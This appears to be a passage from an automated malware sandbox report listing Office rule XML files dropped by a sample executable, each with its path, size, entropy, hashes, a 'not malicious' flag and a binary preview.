SHA-512:	8CE4C0F9ABB3370275D6FCAE6E0E5155B3E6E2AF0379F1F50E44D8244C8DD05777BB80D59AA1FD8B78BC20D17F5151357C1928861DD82FEF965502EE1F403CB3
Malicious:	false
Preview:	<?xmlBQ.x5..e.TJN.%....).c.."..O....6L0{:..!.g..G....W!...G.....c.O.C....8..0^.......f;.j{....K..k4Lc....'_D..y..i.7.......".......Lz...9.l.O.{\|Q...De..d ...0...oc....pc.......s.9\j..0c.$..B..%W....dq.pMb..x..WWE.{..Q.".0h`..E.RJ.^.H....SZ..p.qQ,D...?..mC...w.....D.ZE.......4.....!u.&...S..dF....j./.m..Z..x..D.#.......,(..4....a.ju....Eb.y..&.9A.gx..p.L\.C..........^o.v3r...y<{x...f...x.......OA.c..V.G.<...z.n..T..^.P).:z..~...A...a._.1{.x..:...........-._. ......D.]1#...H#b..1.l.4....];&.Yv.`Q.....cX......=E..Gr..$...PJ.I......#`..MW..$m&4\.3.......h...y.....c7.)U..0^.l.9q.r............t.....Y....)...{.C......q.s.J.v.'t,.....$.E.-....p.E@+.......?.......C....LY1..B4h.m.{-s.IK\.....7....m.....Z.%...y..DpX.`..b(..:.T... .^e.lko.8..U.A]?....;.[.....W....o.m.V.)v]f^a.[.L...4{..!... 8.........+_.k.........b....#.j.vbY...Jr...>...,.v.2gE.A.h.........A..{.b.~H....B.8^....]w.A.VaZ....k....?..."K...`.ZT.}A.b......B......y.U...^b.5>.v....)>.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.880863690585651
Encrypted:	false
SSDEEP:	48:n2ddKDb+ZDihgEO7Xk28ivbub83qVXCJy4s5lxeyD:0I+ZN0OvbubZdCI7xea
MD5:	37AA6657B4FD68FD5B52905D5A5FF42E
SHA1:	F9441BF274EE00C6535FC0F5FB05C11B6A795166
SHA-256:	61162DA1E5542FDEE83409954E05576B61E8013ACC9E1045D7502A0DECCD57F3
SHA-512:	8905ED81DB141ABDE7909CD7891D0A10212C2066CB0392C4B261B1811E2C090700CEC18D5F57C08AE4D643C26E7BB3D85EA627CAF0D852E42D53AEC51DB9E774
Malicious:	false
Preview:	<?xml.....@f....=....%.].g.V....i)...E.q....X-tBf.s'...B.cv.<.,.q...?l..?./w....._..`...x...\|...+{.Q.j2..:.<...o..S.0..../.^...0..`.h...^.4(ED..PO.{mVo..............t.ta..&I1......z..=".....`>UY.c..%..(...$..]0d.....a@..>.B.w.9I..wB........go.M.(.9.9..G..#.......2...d"..FT..F.....v.'u..........L........&..J7.\...BD(Fk.X....h.H1.k........z.,....jf..N.t...GR<Un.7.j..\|N.pE.O...:...p.?.J.mC......y4....t..Y/.....V..........i....8.........!f,FY%&..D...f....}......,.G...\...2(..Qj(k..C.:.b...M..Dl.....z<.B..i.][g9.aT.....y/................+..N.....w.w.{....@.....^Gdj.Z&.@_ Mv].8..{..Q8=......y%..~..,B.C...k......~PL..V.~...mc!...6..V.....:...:.8Q...;....[..p...X.. ._1&............u..m......_....[...~...F...k`)..h.=L#.,......9y.iUOR..m......: \|....V..eN!... X..M:.z....y.\|.f...pW..K!....^...s....J...YBRd..c~AS..T.....u.c.&IT......~..xF..Hj...A.(.Z.7.;..V/p...G.C.....3$.d.\. \|1...>.M.V`...A/..@...*..x....y.50....%..E....Tb..B..X.0.AfV.}..m.v.%.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.885779700584196
Encrypted:	false
SSDEEP:	48:Np72+IHOmtO+D82jBhBKl7q1H/iI8mGsNydSvieZCBXyD:72+Ius1jiGlj8SrZOXa
MD5:	28EE0DFCEF7B218D27B0C43936643A35
SHA1:	B9C8157305143DFE8CF65B4145DB4FF948966F25
SHA-256:	A80E42E882C441CB333436CE745008237300C3DF12EF513C3BD514FEAB3EE272
SHA-512:	D9B743877C0E8F0059D2305CFC7C74497254A04534855FBAFF405335C2845413A442F8CD75754B1846498921BDDA6CD27A8093C56652F69F625CFD2825262A51
Malicious:	false
Preview:	<?xml...a..F.59. ....UQ.7x...r(...s...z...b.ED.O..M..........Tm..S.......L.[A.J.."...... .f..g.#w.SR.l./q.]s..VZ[=p#.>...M?...~\...Lh"..D....H....)!7:..8D5.}..n.....Sla.m."-i...{.B...X......c....._.x..(....&....x..T;5.jY.Z.~.D...b..;...;...}.)V...V...?.......>...7%I.}.....4c.{zIC..S... .....D..,. ..O.q\|.oC.........l.....>QjKX..<.K.a[.. y.O...f...#.1I5..;..p....(.Q#.xk.9:....e....\8.1...u..-0...#..V.l...D..`).w..4..'i..d..m..9C..........M.J@...x.f5U\....~.`Kq..0_Q....`.<K..ba...l.(.`$...P.(.....<.#.........Q.jX. ".Y...EI6B.l.T....Q\..1....pU...>......\|.v?Av...]...<.A/,H..%...h....`rV.y......T\. g.T~.Y`LD.V.Nr~;...........^=..Mc.2(."...m.R....=.P.$.\|.D9...../..{Nj.e....T...{.16:.;.=..X.7....>A.2.VS...8?G_.. ..,..2..C.z[s...E...P._.6r../C.....9S/.b...G.......mHG"..=...?...b.....y.&..ys...Os..Fk...)..F...0...M...n...r-.B......[h.[.........W.b.>.)../Z@...s..>...J..z...n...5..gA...#9...N.".R...fo_............V...`.(p..D.IU...0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.883735815899362
Encrypted:	false
SSDEEP:	48:wue3bgK3ixZLCCK75DrkNVQ3eh1CHxLnUUDeD3iU0sPkTUMVyD:wJL9cZLCbhrkzZ1CHxy0sPyUMa
MD5:	178C311638DC8F6734184231E11CD4EA
SHA1:	950696278AE7D1BAD81FC94D6C37C387D58D2161
SHA-256:	8CFF7EC49CDA632028B7CB77CB1C3E8A3AB02E4BED79AF26EB1A1B1EE44FF400
SHA-512:	F23B13B2A788027956409FDF1D855F4E48EB69E7CDACEF43742BEF11215E3A980050308F89A482983D70920DC9176015734341B32FE874719EA4154C842F0990
Malicious:	false
Preview:	<?xml.h....>/.t.7..+5E...........r6.h..Jh.O..,..z.z.2V..n....4.......)....9.H..uwE.f.....Z.J....E.rh.kj...i.T.v....H../u.]T.c.}.E\"...Kh...A ..R..\.j..q......M-&......!....^.H ...'...5A...R.y...<....'v.....@..(.)M.0Vm..Q27...m....8c..;%..3.R..66..4...:.a.R.... .%..jr....PmS...(....y....0..VY6Lv.W..S!.:$..IE...:..........S>_. .P.vb.2....,...+y.C..%.G.+...R....G.a....4.I.4.:.gl.a?...F. 5..... (...&..#b..w.\!...Lv..A.A.K.9;Eu..M....n.C.^K+.....An.a.'..w....Vp4.%.........DZ.nI".......J,...Z....K..#...WX. ...zB"C.H..&...)L#nD..y......3..\.V.`.`.M.I..s...v...T...'.:J..us].10_~x.D.+..?...SNr........{pa.pha.?............J.-.c...5O.,.$.0P...'l&.^..`kQ{f#.q..u$...\|F....2.^...9bd5}5.........U....P.j...m.S>.........i.{....`t7.6.F..-.#....=.)l......;..(#....-&lB@b.u.?.....<.w..{Sc..y.X...\.}............*md.r.29...5.kyO.l.7tra......o..n...hlpp.8..?X...?.. z"....+..?Y..N......2..'.l.2..I.K.!...9......H..%'B!_....i1HbTB.......g..\|9.A.....J.w....b...l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.862881299891492
Encrypted:	false
SSDEEP:	48:JK6Ra7Oaur3R1uAlZJiEdBZf0nD9bX5TRtyD:zRQlm3Di6BEDNta
MD5:	A4DB9B378A6DDA1961A3EC959A78749D
SHA1:	F3B199F311150F87B7C8CF3B7A5E654320871FBB
SHA-256:	5CA210326C3C36D01001DB4CF76C1F43A761876CD301FB07A41814205AA3704F
SHA-512:	3B4CCF977099F3B5F85BBE54256BA926853CEFAB45E9C4D26F52D52FBF90928C6927ED14C1A10EA4B55C067D468D6CEE0E8E1851266BE7D74CE4314519442B42
Malicious:	false
Preview:	<?xmluB...i.v..j.^.Tr....1./s....'.8....w\|.-..V4..vX.7..p.8[...p.Pf.....I.z...,...0.}Q3...n...g...).-.6O.U...s..H.....VB~......H........a.G...b../._...O......ow..Z-e.........2gT..g.1..E/U...H.....b..2.o..!.m..ZEM......W..#..I.c"d...H2.l..5nU.5.....u8.....D.o...g..^....?.I...c\|O...3.5.i-.).....i..E.{...`.s..p...\|..T..w...K......'.V7Q.m.W`.GoaR...2.?$5^..7.../w.C4.c.....W.......-&./.o.u+..c8.K.....>....!.....5.W..I........z.w...H..J...z.K`..$d?...!L.....m..<5&WO$3..]h..S..cLj...gJ....B...X^-...s6......a.....Z.,G.w........0.'i7$DC.H.U/#...GE...b.d. .5_[&l.XMA...k..-..6.....NK/[..r...AT@_..`.0(US.d..0.~..aO.cN.\|...X.z.....p..N.....w...;.g_=..c..D(aT-....Z-&...5.3....D.n^5.9........!:r..V.Kr.b$.O._.t.R....+.w..L....d.$...x.`f8...`...!..t.....Mf<....7.M......Le.Z..N.s...I.......E....)...{.g.REI.....3_..C1...WN..g....A..]..2G$A.C.HV.Rs....t.p.tC.d..pa?.J..eZ._sl+.7n"b......../a....hc.j%....mw..Y....w2..3......@.d....o.t.;.4 .m..z+....s..j.K7d....<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.886675719914945
Encrypted:	false
SSDEEP:	48:eas74cv6CbZNKdCA7Kto29sHYv87ma1jGhQV68yD:rDGDmCsao2KHE8aa1ba
MD5:	317205CC8EAE02F1F8EAF60D94C7F627
SHA1:	08A746F5D59653B7C52A3DD57C9BFCE19F8D69FA
SHA-256:	A9DFF960D48CEACD8E974E4574AAABD116D8AFC20481649A2499BB45F6773861
SHA-512:	13ED7D6F88099115203E515D468133CA2AFEFBDFD1045B29FB8812950BA17F1C76A73D39E42262826467385F0B85BFFD4AA3C844D99D6BC7C35E814D9FFB6318
Malicious:	false
Preview:	<?xml.....iz0'...U.u......<6.z.Qw2..~.....z.X=.D...--G#....U(..B....\...f.+lA.........gY.N$....5Y...#r.....(..7..p.;8.../.v&.w..X...v.Y.....]...o.......y.jUd8(.. ./.m....q].hw..&.\|<.Wh..%.J.R...V...I..2a..X.....yb....:.aal....]l....~Rd..c.+.......o.2W...^.O7~(.iK.O......g......j.....q.Y...x...YP...q).Z.n...\{...M>.6.$...r?...i..l.P.\\.R..B....Q..."1.&3./v..x.....2t..0.k..f..=.x9.z.].......H.#.....a.KW...J..<F@..k..LX2G.6..u?...P.XZ){.m..,..}.K.6.?....p`qK..4/.....<.P..?....&...+W!..=...V...X...-..m..B....)t@ ...J.=...xe..l......AcC...#...-.\|.:.BD .GZ^9..l..B......Y........f.._.......Q)6.......!4JU.z...^;C&.KA.$s..c..<..K^<.{>Wfy.S.....3."....y..........I.E.[..BJ.#.c..F.[.............K.w..i,B...1...I.zj.bG@.S-......8-.cpk.Bn.T..3m"....#5;.k......f.r...{...lG,1..C}Fa..K..3.dk..".;.w.5N.1.%.g...3!.0....hp..%..XJ.5X;...S...Y.'....N.......39<pn.................\|.m.P.>we...$.D.."..6-N.^.m?3.^.....'.Z..R.<5).....s..g.P...C....f...~...K.m.F...o..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.88414846865858
Encrypted:	false
SSDEEP:	24:MorHMmi9tJ/Gjkffh5Pp/34pW3arU4pGn0aAjTb6jqI0mZzVPJSsufdu7JK+ruHi:M3n9tZGAx9p/I7I4pG0aGu9Z7BrCxbyD
MD5:	1278E4C63A99909476FDE5182A96BE0D
SHA1:	E41A4746C3469D1DCAF8A0C03537A0219B91582F
SHA-256:	0F0F29B514A24CDD211EA8DDDCDA29C19B212975664515EDE89173855B477648
SHA-512:	AE7DFBEDA790B197ECA40E76E558EF5ABD3579231EAB7124783160571797AFA15103D533AC996C1E3B1EDA022B379E2C29A4E80B7747C0855972040DAB4DC363
Malicious:	false
Preview:	<?xmlO...C...\d..1..#b...v_..u....).y.yS..3.~.....g.H......-_....n5..`.ISjE...#.>(.AY~.{...Fg..`<..V.T..-.:p...EP5^{...,.#..r....}...ip..........M\..N.~...`..#d.Z..H..\n..U.i.g..K-...[..jC..Y>i+,..p....z.Ur ..........G....(L1...=T...ex89..}...-.1C....8...9E}.......&n...&.Z....T....<...4..d..Jh.5...z3)....[ \(T.KE.oO.].E..K~e....... i..!3....7C..>t.6..."..35.&m..S-N`0!..2.rh.........b.....J$!..O=....-.Z....c)....+..b....A.)}.....iQ.\..:..6E}s..h...A>...@.ld. $..w........#.....n....P.(h23..........T.V2j....K.....7.G.m9z.t5O]q..:.]...&......<...2S....G.\|.....,K ..Q..E>...6k.uS.......>...u.=.a_y.u.2...X}..)..........8..8T.J.....J...zW..s.K..^0dl.i./h.s../ v...N.....`.......U.A]k..Qk!Q. ....%G.V9O.o.....T..i..#M2.....H'Q..0)...)...xW.H.&..X/.)..y......"b.<....&.?..R..x...2.\~.kc.!.n.y*I.E...?.E.F.....o...:#o...;4...+0...".@y..qr....en..z..quj.l.......U....uj..(_..x.V#R.......?.s<...L....nn".\|.1..y....=.6...E..@..D.`<df.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.868763352947301
Encrypted:	false
SSDEEP:	48:0Y2BWPnU0i8j6oabm2U4nFtOcsMW9VwL5KsYbaD1MuECTHdyD:qwPU0x6oans5sksYWDCuxHda
MD5:	EC9EAF9A14E6418F1E0DAD45DC1873AC
SHA1:	3A203E178BF9540D9E58FF2EBF0B3E889AA0773C
SHA-256:	4945DE3F3E2EFA09E9374B2C101A2817CDA9569EEE9A4CA2F6FEDF4A1BC18A45
SHA-512:	1D5844C765CB74E253FDD5AA8DB730098AE8BB7DA0C0FC0E31CE22BCC8B331D5A85A3DE73D45A18D6DA833DBBA2CEDC54CE2200B4A9572DC1032DB1C84975D8B
Malicious:	false
Preview:	<?xml.=...k.U..9l....U.\|.X.s.).o....J..\|.A'.ct>CJ(..YZ3P~.%..........t....D.v...v..j....g..4.v.1.Y...]1"W...7.uu1..W.JZo.L>.u.E..<.s.\|.0........tI.$..h'...=.#km%Gr.pV..v[e...\|9.0.&.c..N.....UhFnX.[}../.,..$.."...p...d.]...U..9.-..L'.....s.x"..J.1.Y.o3.Y.'E..b....(...R..vo.z\|.'D.RU........M...@ZT...b....-`/@Yuh...]..l....Ch.}...e..P.!.`..~4.UK........A.y..J.f..)...Q.K08..`^...]......y.y...E8z...(..D....y;..m.....9V.%....X{y.`-]...I..;..#..y....l..]...i.J..jd..>.....r...6{.l.>.1'......;..Ez:.2.....Qb..H7.P~.....i..N.y..).W?......y...5En.g..L.r}..I.........W.ols.....v[.4.h.1.N..2..Qi.......X..WB*......(r.....SH..yXTz3.f<.;P.i.O........Ue..F....C..{...7b......6(v......c6./1..C.,....KL..~.3C.T.s........Y.o.... .L.Y....!..+.b.6t....<...%1{M~TE.\|9....A....o....]...i5...O._............X.<...0..`..k.$v.Ua..b{..1...(n..}"3..RVQ;.w.vv.,_..CB..[Y..f......`...n............\.[3P+k4.d....JH/M.z}".Q....Bf..yG!.......e.7..k.6~4-..%.\e..}h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.893499621723591
Encrypted:	false
SSDEEP:	48:37opMwE9cQKbEQaiMWZPo8Hls9bDb3myD:LopFE9cQjZiJg1DLma
MD5:	92DCF064E864D72E3E2824A674107137
SHA1:	8B8BC477D8995DD2B7651A0DB88DBBA050239974
SHA-256:	517C4107ABD40124A0734837C2AE1309CB5B39A231E54D6E83983BE584B0CF6B
SHA-512:	4A6EA516F122D23D211025872B078A6ECDF365FFD72E279C6A846C1FB633D12B87AD631617852FCD5A1F7F0A976BFBAEBE13BAD4933D8337FC79DE9E55CA484D
Malicious:	false
Preview:	<?xml...A.Y........C]..<LM/W......H..f.KT...>.n.l...Lf..]W{e...d7r.f...W......Nz..W.YT......$eC_..6.U7.=.E.X..rR.n.i.N1.....b.$l.p&......i..o&.?..o....`.->....y..@.N...(.(..C.$.<.+..\..k.n-,&-....?...,...^.\...VP....Xp..z....N...R`.s..p8_....wG..Fk.Y.K.If...o.'...5vF.v?...T..r."..9...:....,.Y..@.@..&..o..+.j..J.#..S.HR..w_...l]@ST..vV..f...Y.]Iwhc..Q\|..}..#.q......o9....\|$2....ic...Emq.I.L.....>=RK7k.....p$.....B.X.b,..n./R..(N......"\|Q.H........0...P........u.q{.~Q.Q...u.Arx.6.CoW..v......?.._.?.........&..-...x.Z...f$:..j...1....N.......W....]}.BE......A.,..........]{Z/...f8..$.}.4&..."..:.....`...4L.K..?bV93V..x...g....z...r....\|ts...G..w../K..m.....` }l#.$.....$....;..S...>L.k...z.C>...~...S....[1.B!.r.z.Ga.wZ...V...}....da.r.f..H....j.....*....\|...f.~.t.W..xU..}j.&c.......#H:....#[..........U.T..H./I.:gD.k...#9..8/..&..G.....~:I[.......:....Q..i?..!....c8.+......v.Q......B.x...T....k.jl......I.x.k.......U...p.<h8Y......?.n.{....(B...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.889807525530888
Encrypted:	false
SSDEEP:	48:p8eNX54W7qu8hJ/2T/7yidWOtFzVk3DMM6i6hCgVd5TyD:p8qe+PWOtFpk34M6i6hCMta
MD5:	1C966EF32A0F4E6FDD11D65A4A919F54
SHA1:	84AC5A382E90F5E60880D6FC66BA673E3F3D62C0
SHA-256:	F6F1A8C2BEE31AA68BD3D49D2BE583951C564D265946BAFF0F1A9EF75A74B965
SHA-512:	3331CD1B5D23F59605C2B4BE0A2406D0A6AF84ADA72A29D02932218A9283FA5801AA8121FE6553F49B41DF424FB27B32F51975BDF2DCA7A54100572DBB06E83E
Malicious:	false
Preview:	<?xml....=Y.@%n\|&.z.;HV.7/?.x....<m...4.X{..0A..fY...J.....,...8P....fp.`...t...r.:%eUIN.].C.....}...<X>..9M...`.......x...].k..F7..E@w.qZ.Q.XE,.m..0........h.+.1.C..g>G.....7.L....h.- ..W.Y...U$9..p....J.......j...g.{.....+oh......Nn...B..0..`-..w._...a.......&....fr..........y..3'.!..5......P...-.E..8.;..TA.4.....M..B..4...Ki.qb....N.m.....~1.g.1...\.v.zARj....w&...I...}..<..]....7..$./K.XT...)..~bOG.......p...[=..^..[..b..(m...T_.\|..6.U.&..Zm. jHG.t..(c...f9Z...[.T..U=..3....L!......>!`..d.~.%...(..:.....91hn.w.Z1K.H2we!f....X..Z.7..k....[..3v.....S2nr.z.f..j..b.....$..Qs.....\|....]z.{.....d..?,q".+....i&.#eY=-...@F..mO..h....S..S'...i......]p..3l.4).....%..x..Q "hn.j.X Q..=K..{44...oX...n..N&....p.....+n....B^\M..cr.H..Z...........o*....4..R.N...48...A...........U.=...#y.!..g....t..2d$&9:...{...>.w.........oTq{~PM\|?t....I...4.~B...]e...&s.vY..Q'......{}T.#.R...../.Q......pdz{...c6..\.>..D....~.)A....$VO.}...........P......G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.852898471506936
Encrypted:	false
SSDEEP:	48:dlen+oKOjZy8Kmqw6l0mS9AoGp0F2hK7yD:W9tyctY0m6Johma
MD5:	26FCC665EC5F7A79FF64A5BFF3CA0541
SHA1:	7702679E672D3E3E70708B6304DC7396892AFD46
SHA-256:	1596FF155EF82F3A3F57653FCEFB63C1A25FE023AC5C46BE13A386CADC3B8BA8
SHA-512:	E6238D331084D11AF8E1BF1E5B9393C4A4B21F5B1E51FEBDC39F55D9DF47A9BFE1D6F3609A98071EAB83DBCD694B4ED71B5E0F1B1F178C25876002CBFBB20324
Malicious:	false
Preview:	<?xml&...T..a....]G.y>..I.D9..t..Rb.....Z?..G6...O..S>.10.f..?.U.(....?.s[.2n.U.s.O..4tt.~.........x?dh.......5.....t.....v'....r_.J.5.}sg..0L.%..=....@T...d8.5..#..W.....j.5....f.}G...;o..b.Km.Kg..#;....j.+.9O.DX..X.87..S..T...?..;...hAb"q......./.2j...X[.7.y\|..t&...v...T.#M..j.&....2.K+K.9.A.p.o........m......0j..\|............x.3GgbBimz...`.8....Z......:.6.f.^.J....+..S).!...6:..zd.]y^.Zb..1K?......6..%l..QK.>...t...N..iv..!J..`v8..;....@....25.L...=6..j...$$..Lb..%......}.c.6...c.:%.R.<..@.-.C..b...\.5\.8....T.-.S0..AZ%Y3./..1<..7.."...?..0...[....\R{L.t...d.{....[..}oX.>..T.3...up..adW...^)gc..;L^8 K.P.H.....v.v..c.........;.HI.~.2......<....S...s_e.H...8\|\|..;^M\a..x_.W..#.:...)...Y.W.V3..Q......r9b..b.K.s.!9..V.....KUp...]..B+s.......=....p.=.....K..H0.!.K}'.}.F-z.Yv..3"8Zw......z".~%...rxDa..[b.1p.sZJ@.%+Cf.Y.H...R..gY......y...A.....2..St..].3m.'0.@..,..L.bZ....fG..2..9}...$8.....7.{M......TMv\.L.8.\|,s.._[OrP...h.....R.%........#.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.86615466741832
Encrypted:	false
SSDEEP:	48:TTU9F37cYnjyD/zUOEK15fpRlARLcX5LXaZgKyD:XUz3/iSKjp2PiKa
MD5:	5A0B53902E5D105C6955D6B7FDFFE011
SHA1:	2D1F2E17C88A39747E1362863E6B66C488ED38BB
SHA-256:	30901DD245334284090004B770245BC0E2561086494992D7EC0CE2C14AE8ADF7
SHA-512:	1013E456B34171B1F9FDCC3A8968C35C8CD2571C5D5B33C6F070F2B78C7C98B0DE47BB70D87484C7DCEACB5F10B4221169366C7FB5BF8C9F57FBD3079336410D
Malicious:	false
Preview:	<?xml.d.L.+\|...K..].........)LJ...A.KIzl.dZOD.+i....1X.7a..j.#{P7`..0..Z...z......F....<../....\.....~........X.....mP.\..t..i.......L..c{......0..Y..gL....[ O.A;a'...4.#......8{L...W....NK..)6..w..W.u-.f.q....h'7op+8...#..?#...>...T.px)q....[.V..bPL....a.....q......_...[v..6 ..E<7... E.<s[o.i)-..i..o.$..{W#.UW.q..g+.U-_X/..mc)bt4..w.Ow.{..d.f.......t.!T..$`.p7Ga..@4....3..y6.3:"c......u\..p;.q..W......h..D,..d.....r.\|..b..f.y..W...v.H.)6-.-!.I}ty.k+.:...n>'.X._?iI0.A.J`. ..(..G....?..~..pc.....>.x.a+S...s.:O[I...-.y......>./.{...,2..g.....(..e-..L6.>j9...&Mq.q.PS..UN...6..:.<...2..;....R1. ...}Q\|.i?.9.....w.,.r....0i....a...o...gY....Mw.:.6.f8..K'.....H.F..e..b.D...0.)...[.N......g~....7;\|..+.t..".m:s......p....r`....}sX...x.L.1iv(..T.,X.$8{.c.&..AR[...p.B........_....4!%..l.^.D@..+....@...{z..<}.....V.!.7/}.4T...O...<H.).A.kC@D8/...bd..R.>6;.....k.'U..O..H~.b.9.......a....L...eD_....cZu..w7.S)..x0......LD~._.5....'.E.+9$k...6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.887941100330601
Encrypted:	false
SSDEEP:	48:98cJDoAuG96WDTKqw2Vdk+pbMyhO+gFU2LQPiK+VqvyD:cgxp1hOru0A+Vqva
MD5:	DB8D12406B6F742A93AF1C484E6FEFC4
SHA1:	5E14F2F7311CA342056C7E1629E426F31EF65F21
SHA-256:	F6C86622B3D68607114406CAA73EAFE57C9DDC417863E322068DAAB971269BA4
SHA-512:	8880D76015F3E80DD816BF345F1DF1D825EDA5F89F91D7E71DC233B0615FF753DD0BD18F6DD1CBE682093C58BC7A218F2C63F6134F63ADAAC4541D5DDDECF07C
Malicious:	false
Preview:	<?xml.f...]..../...c.....9.c$.c(...R.tW.8..=.h.E.A...Z...U&.........}".....{ Vw.c.@...bpC.9.'. 6,..;..{..y.dR4..]Y......U...7...l.....n?...@G..[...X{..3.}?.Cyb%..QK5{.8........D...1G..3..+..../.C..~....B..S.U..'...v$9...Mi.)>._w.Ij........x..S.W4..9....~4...s......[..y.....g]!0tu.9.Yt.7A...Ni..{...jj.)......^..j....@.h .D.......]..;..B..(.R.s...EZ6.vu..)ET...O.-..........K.NZN.=.4.m].+...\|.j..c..O...ze..:?....A...X.1B5I.>.k._. ....u.l.!.....F.:]:....Z..&..s.\|..d.f\|..x.\|....@....i.s.......jn..2.5.......$......~.C."F..l.c.OY.....g......8.2.P...n=^..{...F.[D..>..S\@q.S.k.8X\|.?..Vr......P.j..k..'..t,..\.....[..R...H.b....d.`Bv.......H).....8,...0.z..Oy..6.!q.....c...,?....u=....{.]2K.=4\|0...............Y..Y..).?..`...o...W_.....?..6}%.].J..KR.....](....d..g,8u....R..."O.ov....L.K..y.`.......n....{Q.....:..".3.o.V.f......I..B#^....D.%2.. _.!...._=...X.]P.k.@V-.....x.\|s[O.w$.H.y.h.]....t.y].v....)z......E?..~..#?..+...cI8...>....>..!...Q..3Ms}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.897367115825175
Encrypted:	false
SSDEEP:	24:JCCpefvJ+6DcoKgPnn/SCDkl1OI7p+j0VgEJjsz0J1xPKtV+y2qg59dt8N5SsKRW:JCqeXJpcoFAOOp3gEJjy+xnrYbq3yD
MD5:	805FFC04809003047EBF56DC12CC9A10
SHA1:	133F0B562E1EFFD9B887298B4A1B19F563DBE733
SHA-256:	2EF4B723F2F0B0838A79D2B29B89C35A8174100AD43ED6C9137464F18C078B93
SHA-512:	9A19FC3A133002A29C9F74C4F674FC4C14F62CBF6846355C9F421C4A26F4F8CEC62905C997B6E80D7FDCA206A38E831535C8F6BBF098F5AEAA55023427986FC3
Malicious:	false
Preview:	<?xmlR~...aM.b......>'..=)......?.6.G.rd.......3.=.2.,......t.Z....o...!DQ....w.....{^..e.@...'.Yz.'Z.........z.^c-r......Ix./Mi..B;Ov.n}.....)..U...b..T..\|.M"..:..2e...{...j..C.O+....z.=.L.%...w.....nuhk.x..0.c.i.5.%E...yE....U.xYLvb..M..9^........z......Q.(...K...yf.(\|.C.e.xz...R[.&...:.btC}......Z....T.a.{h..Z..o...aL...(r.yu.....8......O..n......F\....~..L[G..p.$D.........."> +8.EA......H..%.l..\|.../........'.8....y.aG.........16....)r........E..{5.GP.'..q...m!W5.+g).4].(..6.3set.].^...l..R.A...`O.A^^....+..L\|&v...gH.L..[.2.x%.e:..FY%..u:.R..<...l...n?.0.......;g._..q.c..O8.K`6..Z......;..q.EDs....N.~...c%.I%......8.j.@G...r"1....%."....#.T..<.(.g7..[...lW.C....%q.E..%#.^...w11v.=.k[..l......bB...;S.u>.0an........}F.[X.....".5..w.a.BjH.E7.U.K......e:.../......;q....x......a.}..Un.....EJ...7....F...Lt.t ..eL.w.....t.*3.&.R.(I6..YWF..U....w...-..+M7.....du...)O.a....@...$.[..../.4ae.....Z.....(s(.+...:...q.W....X.x&&..z.B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8845096958301575
Encrypted:	false
SSDEEP:	48:GyDKWQ97tMoX9egtPr35elZl2SW00eGC137cflwJBS3zSyD:GiutzNntP2ZlMdCZAflw+3Ga
MD5:	4A9C7ED0F42EFE4146E0B83D23363591
SHA1:	7D3FF51A97BABEE83249E67E3DC8B27B16D923EB
SHA-256:	153E6E1AC83A3226228B6749FA27C06032EBAC17177A32A0B3FF9DD1D6DEF46C
SHA-512:	4173C065F3C0F51D8916214CBF2E91CB1336F9F2ED418668F8D86940E560274F480AF69C9076650FD6F791176CAF8F250236F41986C2CCD5D54A060A09625687
Malicious:	false
